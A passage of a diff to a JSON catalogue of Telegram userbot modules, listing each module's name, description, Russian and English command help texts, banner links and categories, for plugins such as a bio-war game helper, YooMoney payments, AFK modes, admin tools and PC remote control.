добавлению в список по реплаю.\n\n-backup -> бэкап зарлиста в файл.\n-restore -> добавление жертв из бэкапа в зарлист.\n-restore --y -> полная замена зарлиста на бэкап.\n " - }, - { - "калкcmd": " Команда, которая вычисляет сколько 🧬Био-ресурсов или же ic☣️ нужно\nПример: .ic <характеристика> <уровень С> <уровень До>\n\n " - }, - { - "довcmd": "{args1} {args2 OR reply}\nВведи команду для просмотра аргументов.\n " - }, - { - "гcmd": "[arg] [arg] [arg]....\nВыполняет команду .ид по реплаю.\nАргументом являются числа и первые символы строки.\n " - }, - { - "иcmd": "Чекает все айди по реплаю.\nИспользуй ответ на сообщение с @id/@user/link\n " - }, - { - "бcmd": "Используй ответом на биотопы/жертвы и т.п\n " - }, - { - "biohelpcmd": "Выдает помощь по модулю\n " - } - ], - "new_commands": [ - { - "ай": { - "ru_doc": null, - "en_doc": null, - "doc": "[reply/arg]\nПолучает айди пользователя.\n " - } - }, - { - "з": { - "ru_doc": null, - "en_doc": null, - "doc": "[arg] [arg] [arg]....\nВ качестве аргументов используй числа или первые символы строки.\n(без них бьет по ответу с 10 патов)\n " - } - }, - { - "о": { - "ru_doc": null, - "en_doc": null, - "doc": "Заражает всех по реплаю.\nИспользуй ответ на сообщение с @id/@user/link\n " - } - }, - { - "иск": { - "ru_doc": null, - "en_doc": null, - "doc": "Добавляет исключения для команд .з и .о\nИспользуй: .иск {@user/@id/reply}\n " - } - }, - { - "зар": { - "ru_doc": null, - "en_doc": null, - "doc": "Список ваших заражений.\n.зар {@id} {чис.ло} {арг}\nДля удаления: .зар {@id}\n\nАргументы:\nк -> добавить букву k(тысяч) к числу.\nф/о -> поиск по ид'у/юзеру.\nр -> добавлению в список по реплаю.\n\n-backup -> бэкап зарлиста в файл.\n-restore -> добавление жертв из бэкапа в зарлист.\n-restore --y -> полная замена зарлиста на бэкап.\n " - } - }, - { - "калк": { - "ru_doc": null, - "en_doc": null, - "doc": " Команда, которая вычисляет сколько 🧬Био-ресурсов или же ic☣️ нужно\nПример: .ic <характеристика> <уровень С> <уровень До>\n\n " - } - }, - { - "дов": { - "ru_doc": null, - "en_doc": null, - "doc": "{args1} {args2 OR reply}\nВведи команду для просмотра аргументов.\n " - } - }, - { - "г": { - "ru_doc": null, - "en_doc": null, - "doc": "[arg] [arg] [arg]....\nВыполняет команду .ид по реплаю.\nАргументом являются числа и первые символы строки.\n " - } - }, - { - "и": { - "ru_doc": null, - "en_doc": null, - "doc": "Чекает все айди по реплаю.\nИспользуй ответ на сообщение с @id/@user/link\n " - } - }, - { - "б": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй ответом на биотопы/жертвы и т.п\n " - } - }, - { - "biohelp": { - "ru_doc": null, - "en_doc": null, - "doc": "Выдает помощь по модулю\n " - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "idiotcoders/idiotmodules/yoomoney.py": { - "name": "YooMoneyMod", - "description": "Yoomoney Module.", - "meta": { - "pic": "https://static.whypodg.me/mods!yoomoney.png", - "banner": "https://mods.whypodg.me/badges/yoomoney.jpg", - "developer": "@idiotcoders" - }, - "commands": [ - { - "ypaycmd": " ; <comment> 👉 Send payment link\nE.g: .ypay 100 For a coffee ; Bro, buy me a coffee, here is the link <сумма> <назначение> ; <комментарий> 👉 Отправить ссылку для перевода\nE.g: .ypay 100 На кофе ; Бро, купи мне кофе, вот ссылка для перевода" - }, - { - "ywalletcmd": "👉 Get YooMoney wallet info 👉 Узнать информацию вашего кошелька" - }, - { - "yauthcmd": "👉 First stage of auth 👉 Первый этап авторизации" - }, - { - "ycodecmd": "👉 Second stage of auth 👉 Второй этап авторизации" - } - ], - "new_commands": [ - { - "ypay": { - "ru_doc": "<сумма> <назначение> ; <комментарий> 👉 Отправить ссылку для перевода\nE.g: .ypay 100 На кофе ; Бро, купи мне кофе, вот ссылка для перевода", - "en_doc": null, - "doc": "<sum> <title> ; <comment> 👉 Send payment link\nE.g: .ypay 100 For a coffee ; Bro, buy me a coffee, here is the link" - } - }, - { - "ywallet": { - "ru_doc": "👉 Узнать информацию вашего кошелька", - "en_doc": null, - "doc": "👉 Get YooMoney wallet info" - } - }, - { - "yauth": { - "ru_doc": "👉 Первый этап авторизации", - "en_doc": null, - "doc": "👉 First stage of auth" - } - }, - { - "ycode": { - "ru_doc": "👉 Второй этап авторизации", - "en_doc": null, - "doc": "👉 Second stage of auth" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "idiotcoders/idiotmodules/animearts.py": { - "name": "animeartsMod", - "description": "Sends cute anime art", - "meta": { - "pic": "https://static.whypodg.me/mods!animearts.png", - "banner": "https://mods.whypodg.me/badges/animearts.jpg", - "developer": "@idiotcoders" - }, - "commands": [ - { - "artcmd": "Sends cute anime-art — Отправит милые аниме-арты" - }, - { - "nsfwartcmd": "Sends nsfw anime-art — Отправит nsfw аниме-арты" - } - ], - "new_commands": [ - { - "art": { - "ru_doc": "— Отправит милые аниме-арты", - "en_doc": null, - "doc": "Sends cute anime-art" - } - }, - { - "nsfwart": { - "ru_doc": "— Отправит nsfw аниме-арты", - "en_doc": null, - "doc": "Sends nsfw anime-art" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/brawl_stats.py": { - "name": "BrawlStatsInfo", - "description": "Brawl Stars Players/Clubs information :)", + "GeekTG/FTG-Modules/tags.py": { + "name": "TagMod", + "description": "Secretly tag a user", "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/BrawlStats.jpg", - "developer": "@AstroModules" + "banner": null }, "commands": [ { - "get_my_ip": "Получить свой IP-Адрес для получения API-Токен BrawlStarsAPI" + "tagcmd": ".tag <@> <text>." }, { - "set_bs_api_token": "<api_token> - сохранить свой API-Токен в конфиге модуля." - }, - { - "bs_get_player": "<#player_tag> <#player_tag2> -> получить информацию об игроке/игроках(теги можно через пробел указывать)" - }, - { - "bs_get_club": "<#CLUB_TAG> -> получить информацию о клубе по его #ТЕГУ" - }, - { - "bs_get_club_members": "<#CLUB_TAG> -> получить информацию об участниках клуба по его #ТЕГУ" - }, - { - "bs_get_player_brawlers": "<#player_tag> -> получить информацию о Бравлерах(Бойцах) игрока по его #ТЕГУ" + "tagallcmd": ".tagall <text> - tag all users in chat" } ], "new_commands": [ { - "get_my_ip": { + "tag": { "ru_doc": null, "en_doc": null, - "doc": "Получить свой IP-Адрес для получения API-Токен BrawlStarsAPI" + "doc": ".tag <@> <text>." } }, { - "set_bs_api_token": { + "tagall": { "ru_doc": null, "en_doc": null, - "doc": "<api_token> - сохранить свой API-Токен в конфиге модуля." - } - }, - { - "bs_get_player": { - "ru_doc": null, - "en_doc": null, - "doc": "<#player_tag> <#player_tag2> -> получить информацию об игроке/игроках(теги можно через пробел указывать)" - } - }, - { - "bs_get_club": { - "ru_doc": null, - "en_doc": null, - "doc": "<#CLUB_TAG> -> получить информацию о клубе по его #ТЕГУ" - } - }, - { - "bs_get_club_members": { - "ru_doc": null, - "en_doc": null, - "doc": "<#CLUB_TAG> -> получить информацию об участниках клуба по его #ТЕГУ" - } - }, - { - "bs_get_player_brawlers": { - "ru_doc": null, - "en_doc": null, - "doc": "<#player_tag> -> получить информацию о Бравлерах(Бойцах) игрока по его #ТЕГУ" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/demotivator.py": { - "name": "DemotivatorMod", - "description": "Demotivate picture with text, arguments and config.", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Demotivator.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "demotivate": "<text>\n[-bottom/-btm-text/-bottom-text <text> - add. text below]\n[-wt/-watermark <text> - add watermark]\n[-font-color/-ftc <color> (red/while/blue/yellow/...) - font color (white by default)]\n[-fill-color/-flc <color> (red/while/blue/yellow/...) - background color (black by default)]\n[-font/-font-name/-font-link <link to file with fonts> (not zip, but ttf) - font for text]\n[-top-size/-topsize/-tpsz <size> (default 80) - main text size]\n[-bottom-size/-btmsz <size> (default 60) - extra size text]\n[-arrange - adjust photo frames]\n- demotivate a picture according to the given text and arguments <текст>\n [-bottom/-btm-text/-bottom-text <текст> - доп. текст внизу]\n [-wt/-watermark <текст> - добавить водяной знак]\n [-font-color/-ftc <цвет> (red/while/blue/yellow/...) - цвет шрифта (по дефолту white)]\n [-fill-color/-flc <цвет> (red/while/blue/yellow/...) - цвет заднего фона (по дефолту black)]\n [-font/-font-name/-font-link <ссылка на файл со шрифтами> (не zip, а ttf) - шрифт для текста]\n [-top-size/-topsize/-tpsz <размер> (по дефолту 80) - размер главного текста]\n [-bottom-size/-btmsz <размер> (по дефолту 60) - размер доп.(нижнего) текста]\n [-arrange - регулировать рамки под фотографию]\n - демотивировать картинку по заданному тексту и аргументам\n " - } - ], - "new_commands": [ - { - "demotivate": { - "ru_doc": "<текст>\n [-bottom/-btm-text/-bottom-text <текст> - доп. текст внизу]\n [-wt/-watermark <текст> - добавить водяной знак]\n [-font-color/-ftc <цвет> (red/while/blue/yellow/...) - цвет шрифта (по дефолту white)]\n [-fill-color/-flc <цвет> (red/while/blue/yellow/...) - цвет заднего фона (по дефолту black)]\n [-font/-font-name/-font-link <ссылка на файл со шрифтами> (не zip, а ttf) - шрифт для текста]\n [-top-size/-topsize/-tpsz <размер> (по дефолту 80) - размер главного текста]\n [-bottom-size/-btmsz <размер> (по дефолту 60) - размер доп.(нижнего) текста]\n [-arrange - регулировать рамки под фотографию]\n - демотивировать картинку по заданному тексту и аргументам\n ", - "en_doc": null, - "doc": "<text>\n[-bottom/-btm-text/-bottom-text <text> - add. text below]\n[-wt/-watermark <text> - add watermark]\n[-font-color/-ftc <color> (red/while/blue/yellow/...) - font color (white by default)]\n[-fill-color/-flc <color> (red/while/blue/yellow/...) - background color (black by default)]\n[-font/-font-name/-font-link <link to file with fonts> (not zip, but ttf) - font for text]\n[-top-size/-topsize/-tpsz <size> (default 80) - main text size]\n[-bottom-size/-btmsz <size> (default 60) - extra size text]\n[-arrange - adjust photo frames]\n- demotivate a picture according to the given text and arguments" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/summer.py": { - "name": "SummerMod", - "description": "Сколько осталось дней до лета?)", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Summer.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "st": "- вывести таймер" - } - ], - "new_commands": [ - { - "st": { - "ru_doc": null, - "en_doc": null, - "doc": "- вывести таймер" - } - } - ], - "category": [ - "Tools", - "Productivity" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/iOSAppsForAndroid.py": { - "name": "iOSAppsForAndroid", - "description": "iOS Applications for Android, or more simply, Android applications with an interface like on iOS", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/iOSAppsForAndroid.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "iappslistcmd": "-->Inline List iOS Apps for Android -->Inline Лист iOS приложений для Android" - } - ], - "new_commands": [ - { - "iappslist": { - "ru_doc": "-->Inline Лист iOS приложений для Android", - "en_doc": null, - "doc": "-->Inline List iOS Apps for Android" + "doc": ".tagall <text> - tag all users in chat" } } ], @@ -771,45 +158,60 @@ "Tools" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/TxAFK.py": { - "name": "TxAFKMod", - "description": "Афк модуль от AstroModules с изменением био и имени", + "GeekTG/FTG-Modules/lyrics.py": { + "name": "LyricsMod", + "description": "Sings songs", "meta": { "pic": null, - "banner": null, - "developer": "@AstroModules" + "banner": null }, "commands": [ { - "txcfgcmd": "- открыть конфиг модуля" - }, - { - "goafkcmd": "- войти в AFK режим" - }, - { - "ungoafkcmd": "- выйти из режима AFK" + "lyricscmd": ".lyrics Song, Artist" } ], "new_commands": [ { - "txcfg": { + "lyrics": { "ru_doc": null, "en_doc": null, - "doc": "- открыть конфиг модуля" + "doc": ".lyrics Song, Artist" + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "GeekTG/FTG-Modules/vizjener.py": { + "name": "VijenerMod", + "description": "Конвертация текста в шифр Виженеря и наоборот.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "tovizcmd": ".toviz {ключ} {текст}" + }, + { + "tounvizcmd": ".tounviz {ключ} {текст}" + } + ], + "new_commands": [ + { + "toviz": { + "ru_doc": null, + "en_doc": null, + "doc": ".toviz {ключ} {текст}" } }, { - "goafk": { + "tounviz": { "ru_doc": null, "en_doc": null, - "doc": "- войти в AFK режим" - } - }, - { - "ungoafk": { - "ru_doc": null, - "en_doc": null, - "doc": "- выйти из режима AFK" + "doc": ".tounviz {ключ} {текст}" } } ], @@ -818,344 +220,84 @@ "Chat" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/shazam.py": { - "name": "ShazamMod", - "description": "Use <reply to voice> to search for a song using audio.", + "GeekTG/FTG-Modules/rpmod.py": { + "name": "RPMod", + "description": "Модуль RPMod + дополнение после команды.+реплика.(указывать реплику на второй строке)", "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/AstroShazam.png", - "developer": "@AstroModules" + "banner": null }, "commands": [ { - "sh": "<reply to audio> - recognize track <reply to audio> - распознать трек" + "dobrpcmd": "Используй: .dobrp (команда) / (действие) / (эмодзи) чтобы добавить команду. Можно и без эмодзи(но и второго\nразделителя). Используй только одно слово в качестве команды." + }, + { + "delrpcmd": "Используй: .delrp (команда) чтобы удалить команду.\nИспользуй: .delrp all чтобы удалить все команды." + }, + { + "rpmodcmd": "Используй: .rpmod чтобы включить/выключить RP режим.\nИспользуй: .rpmod toggle чтобы сменить режим на отправку или изменение смс." + }, + { + "rplistcmd": "Используй: .rplist чтобы посмотреть список рп команд." + }, + { + "rpnickcmd": "Используй: .rpnick (ник) чтобы сменить свой ник. Если без аргументов, то вернётся ник из тг." + }, + { + "rpbackcmd": "Используй: .rpback чтобы выгрузить список своих рп команд.\nИспользуй .rpback / (список чьих то команд) / (список чьих то эмодзи) чтобы добавить себе список команд. можно без эмодзи, но первый разделитель обязателен." + }, + { + "rpblockcmd": "Используй: .rpblock чтобы добавить/удалить исключение(использовать в нужном чате).\nИспользуй: .rpblock list чтобы просмотреть чаты в исключениях.\nИспользуй .rpblock (ид) чтобы удалить чат из исключений." } ], "new_commands": [ { - "sh": { - "ru_doc": "<reply to audio> - распознать трек", - "en_doc": null, - "doc": "<reply to audio> - recognize track" - } - } - ], - "category": [ - "Games", - "Tools" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/YandexMusic.py": { - "name": "YaMusicMod", - "description": "Поиск музыки через музыкального бота от Яндекса", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/YaMusic.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "ymcmd": "- найти трек по названию" - } - ], - "new_commands": [ - { - "ym": { + "dobrp": { "ru_doc": null, "en_doc": null, - "doc": "- найти трек по названию" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/astroafk.py": { - "name": "AstroAfkMod", - "description": "Полностью настраиваемый модуль для ухода в АФК режим! Обновление TxAFK!", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/AstroAFK.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "asst": "- открыть настройки модуля" - }, - { - "goafk": "<reason/empty>- войти в АФК режим" - }, - { - "ungoafk": "- выйти из режима АФК" - } - ], - "new_commands": [ - { - "asst": { - "ru_doc": null, - "en_doc": null, - "doc": "- открыть настройки модуля" + "doc": "Используй: .dobrp (команда) / (действие) / (эмодзи) чтобы добавить команду. Можно и без эмодзи(но и второго\nразделителя). Используй только одно слово в качестве команды." } }, { - "goafk": { + "delrp": { "ru_doc": null, "en_doc": null, - "doc": "<reason/empty>- войти в АФК режим" + "doc": "Используй: .delrp (команда) чтобы удалить команду.\nИспользуй: .delrp all чтобы удалить все команды." } }, { - "ungoafk": { + "rpmod": { "ru_doc": null, "en_doc": null, - "doc": "- выйти из режима АФК" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/RandomTrack.py": { - "name": "RandomTrackMod", - "description": "Получить рандомный трек. \nИспользуйте категории чтобы сгенерировать трек на свой вкус", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/RandomTrack.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "rt": "- сгенерировать трек.\n\n 🫠 Категории:\n<f> - фонки\n<r> - ремиксы\n<m> - мемные звуки\n<s> - грустная музыка\n<h> - хайперпоп музыка\n<p> - популярная музыка\n<n> - ностальгические треки\n<my> - треки из вашего плейлиста\n\n 🤫 По желанию, в конфиге, можно указать свои каналы откуда будет отбираться музыка\n " - } - ], - "new_commands": [ - { - "rt": { - "ru_doc": null, - "en_doc": null, - "doc": "- сгенерировать трек.\n\n 🫠 Категории:\n<f> - фонки\n<r> - ремиксы\n<m> - мемные звуки\n<s> - грустная музыка\n<h> - хайперпоп музыка\n<p> - популярная музыка\n<n> - ностальгические треки\n<my> - треки из вашего плейлиста\n\n 🤫 По желанию, в конфиге, можно указать свои каналы откуда будет отбираться музыка\n " - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/AntiMat.py": { - "name": "AntiMatMod", - "description": "Будьте культурным человеком, не материтесь", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/AntiMat.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "antimat": "- активировать или диактивировать АнтиМат" - }, - { - "matlist": "- открыть список матов" - }, - { - "amchatcmd": "- запретить/разрешить чату выражаться нецензурой" - } - ], - "new_commands": [ - { - "antimat": { - "ru_doc": null, - "en_doc": null, - "doc": "- активировать или диактивировать АнтиМат" + "doc": "Используй: .rpmod чтобы включить/выключить RP режим.\nИспользуй: .rpmod toggle чтобы сменить режим на отправку или изменение смс." } }, { - "matlist": { + "rplist": { "ru_doc": null, "en_doc": null, - "doc": "- открыть список матов" + "doc": "Используй: .rplist чтобы посмотреть список рп команд." } }, { - "amchat": { + "rpnick": { "ru_doc": null, "en_doc": null, - "doc": "- запретить/разрешить чату выражаться нецензурой" - } - } - ], - "category": [ - "Tools", - "Social" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/TwinkManager.py": { - "name": "TwinkManagerMod", - "description": "Управление твинками через основной аккаунт.", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/TwinkManager.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "trestart": "- перезагрузить аккаунты" - }, - { - "tping": "- проверить пинг" - }, - { - "tdlmod": "<name/link> - загрузить модули на аккаунты" - }, - { - "tterminal": "<command> - выполнить действие в терминале" - }, - { - "tupdate": "- обновить хикку на аккаунтах" - }, - { - "thelp": "<name/-f>- список модулей либо информация о модуле" - }, - { - "tloadmod": "<reply> - загрузить файл модуля на аккаунты" - } - ], - "new_commands": [ - { - "trestart": { - "ru_doc": null, - "en_doc": null, - "doc": "- перезагрузить аккаунты" + "doc": "Используй: .rpnick (ник) чтобы сменить свой ник. Если без аргументов, то вернётся ник из тг." } }, { - "tping": { + "rpback": { "ru_doc": null, "en_doc": null, - "doc": "- проверить пинг" + "doc": "Используй: .rpback чтобы выгрузить список своих рп команд.\nИспользуй .rpback / (список чьих то команд) / (список чьих то эмодзи) чтобы добавить себе список команд. можно без эмодзи, но первый разделитель обязателен." } }, { - "tdlmod": { + "rpblock": { "ru_doc": null, "en_doc": null, - "doc": "<name/link> - загрузить модули на аккаунты" - } - }, - { - "tterminal": { - "ru_doc": null, - "en_doc": null, - "doc": "<command> - выполнить действие в терминале" - } - }, - { - "tupdate": { - "ru_doc": null, - "en_doc": null, - "doc": "- обновить хикку на аккаунтах" - } - }, - { - "thelp": { - "ru_doc": null, - "en_doc": null, - "doc": "<name/-f>- список модулей либо информация о модуле" - } - }, - { - "tloadmod": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply> - загрузить файл модуля на аккаунты" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/wordly.py": { - "name": "WordlyHelper", - "description": "Помощник для игры \"Вордли на Русском\"", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/WordlyHelper.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "wordly": "<маркировка слова> [-not <буквы подряд, которых точно нету в слове>] [-yes <буквы подряд, которые точно есть в слове] - Найти слова по маркировке:\n* - одна любая буква\n$ - любое кол-во любых букв\nпример: *т**т -yes оч -not абвгд : отчет" - } - ], - "new_commands": [ - { - "wordly": { - "ru_doc": null, - "en_doc": null, - "doc": "<маркировка слова> [-not <буквы подряд, которых точно нету в слове>] [-yes <буквы подряд, которые точно есть в слове] - Найти слова по маркировке:\n* - одна любая буква\n$ - любое кол-во любых букв\nпример: *т**т -yes оч -not абвгд : отчет" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/Emotions.py": { - "name": "EmotionsMod", - "description": "Выражение эмоций в чате", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Emotions.jpg", - "developer": "@AstroModules, @HikariMods" - }, - "commands": [ - { - "emogocmd": "- вкл/выкл эмоции в данном чате" - }, - { - "emoclearcmd": "<y> - сбросить список эмоций" - }, - { - "emolistcmd": "- список доступных эмоций" - }, - { - "emocmd": "<символ|слово> <эмоция> - добавить эмоцию в базу модуля" - } - ], - "new_commands": [ - { - "emogo": { - "ru_doc": null, - "en_doc": null, - "doc": "- вкл/выкл эмоции в данном чате" - } - }, - { - "emoclear": { - "ru_doc": null, - "en_doc": null, - "doc": "<y> - сбросить список эмоций" - } - }, - { - "emolist": { - "ru_doc": null, - "en_doc": null, - "doc": "- список доступных эмоций" - } - }, - { - "emo": { - "ru_doc": null, - "en_doc": null, - "doc": "<символ|слово> <эмоция> - добавить эмоцию в базу модуля" + "doc": "Используй: .rpblock чтобы добавить/удалить исключение(использовать в нужном чате).\nИспользуй: .rpblock list чтобы просмотреть чаты в исключениях.\nИспользуй .rpblock (ид) чтобы удалить чат из исключений." } } ], @@ -1164,125 +306,70 @@ "Automation" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/pcmanager.py": { - "name": "PCManagerMod", - "description": "Управление вашим компьютером через юзербота", + "GeekTG/FTG-Modules/pmlog.py": { + "name": "PMLogMod", + "description": "Logs unwanted PMs to a channel", "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/PCManager.jpg", - "developer": "@AstroModules" + "banner": null }, "commands": [ { - "addbot": "- добавить бота\n\n💎 Основные команды:" + "logpmcmd": "Begins logging PMs" }, { - "tutor": "- туториал по подключению" - }, - { - "pcoff": "- выключить компьютер" - }, - { - "pcreboot": "- перезагрузить компьютер" - }, - { - "pcinfo": "- просмотреть характеристики системы" - }, - { - "pcip": "- просмотреть информацию об айпи адресе" - }, - { - "pcscreen": "- сделать скриншот экрана" - }, - { - "pcweb": "<ссылка> - открыть ссылку в браузере\n \n🔑 Дополнительно:" - }, - { - "pcalert": "<сообщение> - вывести на экран сообщение" - }, - { - "pcvol": "- управление звуком" - }, - { - "pcmedia": "- управление музыкой" + "unlogpmcmd": "Stops logging PMs" } ], "new_commands": [ { - "addbot": { + "logpm": { "ru_doc": null, "en_doc": null, - "doc": "- добавить бота\n\n💎 Основные команды:" + "doc": "Begins logging PMs" } }, { - "tutor": { + "unlogpm": { "ru_doc": null, "en_doc": null, - "doc": "- туториал по подключению" + "doc": "Stops logging PMs" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/callcontrol.py": { + "name": "VGCallControllerMod", + "description": "Control group voice calls", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "callstartcmd": "Start call in chat" + }, + { + "callstopcmd": "Stop call in chat" + } + ], + "new_commands": [ + { + "callstart": { + "ru_doc": null, + "en_doc": null, + "doc": "Start call in chat" } }, { - "pcoff": { + "callstop": { "ru_doc": null, "en_doc": null, - "doc": "- выключить компьютер" - } - }, - { - "pcreboot": { - "ru_doc": null, - "en_doc": null, - "doc": "- перезагрузить компьютер" - } - }, - { - "pcinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "- просмотреть характеристики системы" - } - }, - { - "pcip": { - "ru_doc": null, - "en_doc": null, - "doc": "- просмотреть информацию об айпи адресе" - } - }, - { - "pcscreen": { - "ru_doc": null, - "en_doc": null, - "doc": "- сделать скриншот экрана" - } - }, - { - "pcweb": { - "ru_doc": null, - "en_doc": null, - "doc": "<ссылка> - открыть ссылку в браузере\n \n🔑 Дополнительно:" - } - }, - { - "pcalert": { - "ru_doc": null, - "en_doc": null, - "doc": "<сообщение> - вывести на экран сообщение" - } - }, - { - "pcvol": { - "ru_doc": null, - "en_doc": null, - "doc": "- управление звуком" - } - }, - { - "pcmedia": { - "ru_doc": null, - "en_doc": null, - "doc": "- управление музыкой" + "doc": "Stop call in chat" } } ], @@ -1291,49 +378,5805 @@ "Tools" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/komarumod.py": { - "name": "KomaruMod", - "description": "Random picture/video/gif from the @komarueveryday", + "GeekTG/FTG-Modules/admin_tools.py": { + "name": "AdminToolsMod", + "description": "Admin Tools", "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Komaru.jpg", - "developer": "@AstroModules" + "banner": null }, "commands": [ { - "komaru": "- choose a random picture/gif/video - подобрать рандом картинку(пикчу)/видео/гиф" + "ecpcmd": "Command .ecp changes the pic of the chat.\nUse: .ecp <reply to pic/sticker>." + }, + { + "promotecmd": "Command .promote for promote user to admin rights.\nUse: .promote <@ or reply> <rank>." + }, + { + "demotecmd": "Command .demote for demote user to admin rights.\nUse: .demote <@ or reply>." + }, + { + "pincmd": "Command .pin for pin message in the chat.\nUse: .pin <reply>." + }, + { + "unpincmd": "Command .unpin for unpin message in the chat.\nUse: .unpin." + }, + { + "kickcmd": "Command .kick for kick the user.\nUse: .kick <@ or reply>." + }, + { + "bancmd": "Command .ban for ban the user.\nUse: .ban <@ or reply>." + }, + { + "unbancmd": "Command .unban for unban the user.\nUse: .unban <@ or reply>." + }, + { + "mutecmd": "Command .mute for mute the user.\nUse: .mute <@ or reply> <time (1m, 1h, 1d)>." + }, + { + "unmutecmd": "Command .unmute for unmute the user.\nUse: .unmute <@ or reply>." + }, + { + "deluserscmd": "Command .delusers shows a list of all deleted accounts in the chat.\nUse: .delusers <clean>." } ], "new_commands": [ { - "komaru": { - "ru_doc": "- подобрать рандом картинку(пикчу)/видео/гиф", + "ecp": { + "ru_doc": null, "en_doc": null, - "doc": "- choose a random picture/gif/video" + "doc": "Command .ecp changes the pic of the chat.\nUse: .ecp <reply to pic/sticker>." + } + }, + { + "promote": { + "ru_doc": null, + "en_doc": null, + "doc": "Command .promote for promote user to admin rights.\nUse: .promote <@ or reply> <rank>." + } + }, + { + "demote": { + "ru_doc": null, + "en_doc": null, + "doc": "Command .demote for demote user to admin rights.\nUse: .demote <@ or reply>." + } + }, + { + "pin": { + "ru_doc": null, + "en_doc": null, + "doc": "Command .pin for pin message in the chat.\nUse: .pin <reply>." + } + }, + { + "unpin": { + "ru_doc": null, + "en_doc": null, + "doc": "Command .unpin for unpin message in the chat.\nUse: .unpin." + } + }, + { + "kick": { + "ru_doc": null, + "en_doc": null, + "doc": "Command .kick for kick the user.\nUse: .kick <@ or reply>." + } + }, + { + "ban": { + "ru_doc": null, + "en_doc": null, + "doc": "Command .ban for ban the user.\nUse: .ban <@ or reply>." + } + }, + { + "unban": { + "ru_doc": null, + "en_doc": null, + "doc": "Command .unban for unban the user.\nUse: .unban <@ or reply>." + } + }, + { + "mute": { + "ru_doc": null, + "en_doc": null, + "doc": "Command .mute for mute the user.\nUse: .mute <@ or reply> <time (1m, 1h, 1d)>." + } + }, + { + "unmute": { + "ru_doc": null, + "en_doc": null, + "doc": "Command .unmute for unmute the user.\nUse: .unmute <@ or reply>." + } + }, + { + "delusers": { + "ru_doc": null, + "en_doc": null, + "doc": "Command .delusers shows a list of all deleted accounts in the chat.\nUse: .delusers <clean>." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/information.py": { + "name": "WhoIsMod", + "description": "Get info about user/chat", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "userinfocmd": "<@ or reply or id> - info about user" + }, + { + "chatinfocmd": "<@ or id> - info about chat" + } + ], + "new_commands": [ + { + "userinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "<@ or reply or id> - info about user" + } + }, + { + "chatinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "<@ or id> - info about chat" + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + 